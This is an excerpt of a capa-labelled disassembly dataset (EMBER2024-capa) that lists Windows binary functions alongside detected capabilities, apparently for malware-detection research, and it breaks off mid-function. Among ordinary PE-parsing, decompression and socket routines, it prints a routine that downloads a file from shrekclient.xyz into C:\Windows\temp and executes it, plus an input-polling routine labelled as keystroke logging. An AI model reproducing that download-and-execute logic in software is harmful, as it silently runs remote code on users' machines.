joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003720
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006ae0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003740
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003748
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003740
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000379d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003794
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003740
add rax, 0x28
cmp rax, r9
jne 0x140003780
xor eax, eax
ret

Function at 0x1400037a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006ae0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400037bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400037c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400037bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003860
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006ae0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000387f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003888
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1405ec058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1405ec1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405ec089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ec06f
add dl, dl
jne 0x1405ec096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ec0f6
xor eax, eax
add dl, dl
jne 0x1405ec0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ec1ad
add dl, dl
jne 0x1405ec0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ec0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ec0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ec0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405ec0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405ec07e
mov eax, 1
add dl, dl
jne 0x1405ec106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ec113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ec0fb
sub eax, ebx
mov ebx, 1
jne 0x1405ec14c
mov ecx, 1
add dl, dl
jne 0x1405ec12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405ec13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ec123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ec07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405ec168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405ec175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ec15d
cmp eax, 0x7d00
jae 0x1405ec19b
cmp eax, 0x500
jb 0x1405ec196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ec07e
cmp eax, 0x7f
ja 0x1405ec19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ec07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405ec1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405ec07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001000
Capabilities:
Log keystrokes via polling

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x80
movaps xmmword [rax - 0x18], xmm6
mov rbx, rcx
movaps xmmword [rax - 0x28], xmm7
movsd xmm7, qword [0x140060c28]
movaps xmmword [rax - 0x38], xmm8
movsd xmm8, qword [0x140060c18]
movaps xmmword [rax - 0x48], xmm9
movsd xmm9, qword [0x140060c20]
movaps xmmword [rax - 0x58], xmm10
movss xmm10, dword [0x140060c38]
movaps xmmword [rax - 0x68], xmm11
movss xmm11, dword [0x140060c10]
nop
mov ecx, reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140001077
cmp byte [rbx], 0
sete al
mov byte [rbx], al
cmp byte [rbx], 0
je 0x1400011a4
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x1400011a4
movaps xmm0, xmm10
divss xmm0, dword [rbx + 4]
mulss xmm0, xmm11
cvttss2si rdi, xmm0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movd xmm6, eax
cvtdq2pd xmm6, xmm6
divsd xmm6, xmm7
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mulsd xmm6, xmm8
mov eax, 0x55555556
imul r8d
addsd xmm6, xmm9
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
movd xmm0, r8d
cvtdq2pd xmm0, xmm0
comisd xmm6, xmm0
jb 0x140001122
call qword [sym.imp.USER32.dll_GetForegroundWindow]
xor r9d, r9d
mov edx, 0x201
mov rcx, rax
lea r8d, [r9 + 1]
call qword [sym.imp.USER32.dll_PostMessageW]
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x98], rdi
call fcn.1400011d0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movd xmm6, eax
cvtdq2pd xmm6, xmm6
divsd xmm6, xmm7
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mulsd xmm6, xmm8
mov eax, 0x55555556
imul r8d
addsd xmm6, xmm9
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
movd xmm0, r8d
cvtdq2pd xmm0, xmm0
comisd xmm6, xmm0
jb 0x140001060
call qword [sym.imp.USER32.dll_GetForegroundWindow]
xor r9d, r9d
mov edx, 0x202
mov rcx, rax
lea r8d, [r9 + 1]
call qword [sym.imp.USER32.dll_PostMessageW]
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x98], rdi
call fcn.1400011d0
jmp 0x140001060
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x98], 5
call fcn.1400011d0
jmp 0x140001060
Function at 0x140001550
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x140068058]
xor rax, rsp
mov qword [rsp + 0x60], rax
call fcn.140001ed0
mov rbx, rax
test rax, rax
je 0x1400016d9
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400511b0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], reloc.WS2_32.dll_recv
mov qword [rsp + 0x38], Ordinal_32
movups xmm0, xmmword [str.C:_Windows_temp_]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140001a00
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140001613
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000160e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000160e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400511f4
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
lea rdx, [0x140060bb4]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001699
lea r8, str.https:__shrekclient.xyz_download.php
mov edx, 0x2712
mov rcx, rbx
call fcn.140004980
lea r8, [0x140001540]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.140004980
mov r8, rdi
mov edx, 0x2711
mov rcx, rbx
call fcn.140004980
mov rcx, rbx
call fcn.140001f90
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400016d9
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400511f4
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140051190
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x140015300
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x140015342
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, gethostname
mov qword [rbx], 0
cmp eax, 0x2733
mov edx, 0x51
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x1400154e0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x130
mov rax, qword [0x140068058]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rsi, qword [rsp + 0x190]
mov r14, rcx
movsxd rcx, edx
mov r12, r9
mov rax, rcx
mov r15, r8
shl rax, 5
lea rbx, [r14 + 0x508]
mov rbp, qword [r14 + rcx*8 + 0x4c0]
add rbx, rax
mov rax, qword [r14 + 0x6c0]
mov rdi, qword [rbx + 8]
sub rdi, qword [rbx + 0x10]
test byte [rax + 0x7c], 3
je 0x1400155e8
lea rax, [0x140015390]
cmp qword [r14 + rcx*8 + 0x4e8], rax
jne 0x1400155e8
cmp qword [rbx], 0
je 0x14001556a
test rdi, rdi
je 0x1400155e8
mov rdx, 0xffffffffffffffff
xor r9d, r9d
mov r8, rdx
mov rcx, rbp
call fcn.140024a10
cmp eax, 0xffffffff
je 0x1400155e8
test al, 1
je 0x1400155e8
mov rcx, qword [rbx]
test rcx, rcx
jne 0x1400155c7
mov rax, qword [r14]
mov ecx, dword [rax + 0xb88]
add ecx, ecx
movsxd rcx, ecx
mov qword [rbx + 8], rcx
call qword [section..data]
mov qword [rbx], rax
mov rcx, rax
test rax, rax
je 0x140015622
mov rdi, qword [rbx + 8]
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
mov rdx, qword [rbx + 0x10]
xor r9d, r9d
add rdx, rcx
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
jle 0x1400155e8
add qword [rbx + 0x10], rcx
xor r9d, r9d
mov r8d, r12d
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
movsxd rbx, eax
mov dword [rsi], 0
cmp rbx, 0xffffffffffffffff
jne 0x140015664
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp eax, 0x2733
jne 0x140015631
xor ebx, ebx
mov dword [rsi], 0x51
jmp 0x140015664
mov dword [rsi], reloc.WLDAP32.dll_Ordinal_27
mov rax, 0xffffffffffffffff
jmp 0x140015667
mov r8d, pe_nt_image_headers64
lea rdx, [rsp + 0x20]
mov ecx, edi
call fcn.140041dc0
mov rcx, qword [r14]
lea rdx, str.Send_failure:__s
mov r8, rax
call fcn.140014fa0
mov rcx, qword [r14]
mov dword [rcx + 0x1258], edi
mov dword [rsi], gethostname
mov rax, rbx
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140051190
add rsp, 0x130
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140015ae0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x28
cmp byte [rcx + 0x558], 0
je 0x140015afd
call fcn.14000f040
test eax, eax
jne 0x140015b23
xor al, al
add rsp, 0x28
ret
mov rcx, qword [rcx + 0x4c0]
cmp rcx, 0xffffffffffffffff
je 0x140015af6
mov r9d, 2
lea rdx, [rsp + 0x30]
lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140015af6
mov al, 1
add rsp, 0x28
ret
Function at 0x140017970
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
cdqe
add rsp, 0x28
ret

Function at 0x140017c60
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, rcx
xor ebp, ebp
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x140017c8a
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
lea rdx, str.LoadLibraryExA
mov qword [rsp + 0x48], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140055398]
mov rcx, rbx
mov r14, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strpbrk
test rax, rax
je 0x140017ced
mov rcx, rbx
test r14, r14
je 0x140017cd7
xor edx, edx
lea r8d, [rdx + 8]
call r14
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
test r14, r14
je 0x140017d25
lea rdx, str.AddDllDirectory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140017d25
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
call r14
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
xor edx, edx
mov qword [rsp + 0x50], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r15d, eax
test eax, eax
je 0x140017de8
mov qword [rsp + 0x40], rsi
mov rsi, 0xffffffffffffffff
mov rdx, rsi
nop
inc rdx
cmp byte [rbx + rdx], bpl
jne 0x140017d50
lea ecx, [rax + 1]
add rcx, rdx
call qword [section..data]
mov rdi, rax
test rax, rax
je 0x140017dda
mov edx, r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x140017dda
mov rax, rsi
cmp byte [rdi + rax + 1], bpl
lea rax, [rax + 1]
jne 0x140017d80
mov ecx, 0x5c
mov word [rax + rdi], cx
inc rsi
cmp byte [rdi + rsi], bpl
jne 0x140017d94
mov rcx, rdi
sub rcx, rbx
add rcx, rsi
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x140017db0
mov rcx, rdi
test r14, r14
je 0x140017dd1
xor edx, edx
lea r8d, [rdx + 8]
call r14
jmp 0x140017dd7
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
mov rcx, rdi
call qword [fcn.140052088]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
mov rax, rbp
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
Function at 0x1400233e0
Capabilities:
Connect socket
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140068058]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov edx, 1
mov dword [rsp + 0x34], reloc.WS2_32.dll_recv
mov ebp, 2
mov dword [rsp + 0x30], 1
mov ecx, ebp
mov rsi, r9
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140023435
jmp 0x1400235e4
mov qword [rsp + 0x80], rbx
mov ecx, 0x7f000001
xor ebx, ebx
mov word [rsp + 0x38], bp
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_htonl]
lea r9, [rsp + 0x30]
mov word [rsp + 0x3a], bx
mov edx, 0xffff
mov dword [rsp + 0x3c], eax
lea r8d, [rbx + 4]
mov qword [rsi + 8], 0xffffffffffffffff
mov rcx, rdi
mov qword [rsi], 0xffffffffffffffff
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400235bb
lea r8d, [rbx + 0x10]
mov rcx, rdi
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x1400235bb
lea r8, [rsp + 0x34]
mov rcx, rdi
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x1400235bb
lea edx, [rbx + 1]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x1400235bb
xor r8d, r8d
lea edx, [rbx + 1]
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsi], rax
cmp rax, 0xffffffffffffffff
je 0x1400235bb
lea r8d, [rbx + 0x10]
mov rcx, rax
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1400235bb
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_accept]
mov qword [rsi + 8], rax
cmp rax, 0xffffffffffffffff
je 0x1400235bb
mov r9, rsi
lea r8, [0x140056fd4]
lea edx, [rbx + 0xc]
lea rcx, [rsp + 0x48]
call fcn.140026230
lea rax, [rsp + 0x48]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140023555
mov rcx, qword [rsi]
lea rdx, [rsp + 0x48]
xor r9d, r9d
mov r8d, ebx
call qword [sym.imp.WS2_32.dll_send]
movsxd rcx, eax
cmp rcx, rbx
jne 0x1400235bb
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x54]
xor r9d, r9d
lea r8d, [r9 + 0xc]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, rbx
jne 0x1400235bb
mov r8, rbx
lea rdx, [rsp + 0x54]
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400235bb
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1400235dc
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsi]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsi + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140051190
lea r11, [rsp + 0x70]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140028800
Capabilities:
Resolve dns

Disassembly:
push rbp
push r12
push r13
push r15
sub rsp, 0x28
mov r13, r9
xor ebp, ebp
mov qword [r9], rbp
xor r15d, r15d
lea r9, [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r12d, eax
test eax, eax
jne 0x14002899e
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rdi
mov rdi, qword [rsp + 0x68]
test rdi, rdi
je 0x14002897e
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x20], r14
nop
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x14002886e
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140028860
inc rbx
jmp 0x140028870
xor ebx, ebx
mov eax, dword [rdi + 4]
cmp eax, 2
jne 0x14002887e
lea r14d, [rax + 0xe]
jmp 0x14002888b
cmp eax, 0x17
jne 0x140028924
lea r14d, [rax + 5]
cmp qword [rdi + 0x20], 0
je 0x140028924
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x140028924
cmp rax, r14
jb 0x140028924
lea rcx, [rbx + 0x30]
add rcx, r14
call qword [section..data]
mov rsi, rax
test rax, rax
je 0x140028933
mov ecx, dword [rdi]
mov r8, r14
mov dword [rax], ecx
mov ecx, dword [rdi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rdi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rdi + 0xc]
mov dword [rax + 0xc], ecx
lea rcx, [rsi + 0x30]
mov dword [rax + 0x10], r14d
xor eax, eax
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x20], rcx
mov rdx, qword [rdi + 0x20]
call sub.VCRUNTIME140.dll_memcpy
test rbx, rbx
je 0x140028911
mov rcx, qword [rsi + 0x20]
mov r8, rbx
add rcx, r14
mov qword [rsi + 0x18], rcx
mov rdx, qword [rdi + 0x18]
call sub.VCRUNTIME140.dll_memcpy
test rbp, rbp
cmove rbp, rsi
test r15, r15
je 0x140028921
mov qword [r15 + 0x28], rsi
mov r15, rsi
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x140028850
jmp 0x140028939
mov r12d, 8
mov rcx, qword [rsp + 0x68]
mov r14, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x58]
test rcx, rcx
je 0x140028953
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r12d, r12d
je 0x140028979
test rbp, rbp
je 0x140028975
nop dword [rax]
mov rbx, qword [rbp + 0x28]
mov rcx, rbp
call qword [fcn.140052088]
mov rbp, rbx
test rbx, rbx
jne 0x140028960
xor ebp, ebp
jmp 0x14002898d
test rbp, rbp
jne 0x14002898d
mov r12d, 0x2af9
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov eax, r12d
mov rbx, qword [rsp + 0x50]
mov qword [r13], rbp
add rsp, 0x28
pop r15
pop r13
pop r12
pop rbp
ret
Function at 0x14002c130
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x140068010]
mov rdi, rax
test rax, rax
je 0x14002c1ad
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x14002c1d8
cmp ebx, esi
je 0x14002c1d8
cmp ebx, 0x8000
ja 0x14002c1d8
cmp ebx, esi
jb 0x14002c1d3
mov edx, ebx
mov rcx, rdi
call qword [0x140068010]
mov rdi, rax
test rax, rax
jne 0x14002c170
mov rcx, rbp
call qword [fcn.140052088]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x14002c1b8
mov rcx, rdi
jmp 0x14002c1b0

Function at 0x140032880
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x140068058]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400328fa
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.1400159d0
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x14003291f
lea rdx, str.Error_accept__ing_server_connect
call fcn.140014fa0
lea eax, [rbx + 0x1f]
jmp 0x140032998
lea rdx, str.Connection_accepted_from_server_n
call fcn.140015100
mov edx, 1
mov byte [rdi + 0x682], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.140023610
mov byte [rdi + 0x695], 1
cmp qword [rsi + 0x710], 0
je 0x140032996
mov dl, 1
mov rcx, rsi
call fcn.1400056b0
mov rcx, qword [rsi + 0x718]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x710]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.1400056b0
test ebx, ebx
je 0x140032996
mov rcx, rdi
call fcn.140032ec0
mov eax, Ordinal_46
jmp 0x140032998
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140051190
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14003b290
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14003b2ef
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140014fa0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.14003ae20
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x14003b4a0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14003b648
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1a8]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x14003b505
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14003b505
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14003b505
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14003b53c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x14003b592
movzx eax, byte [rsp + 0x49]
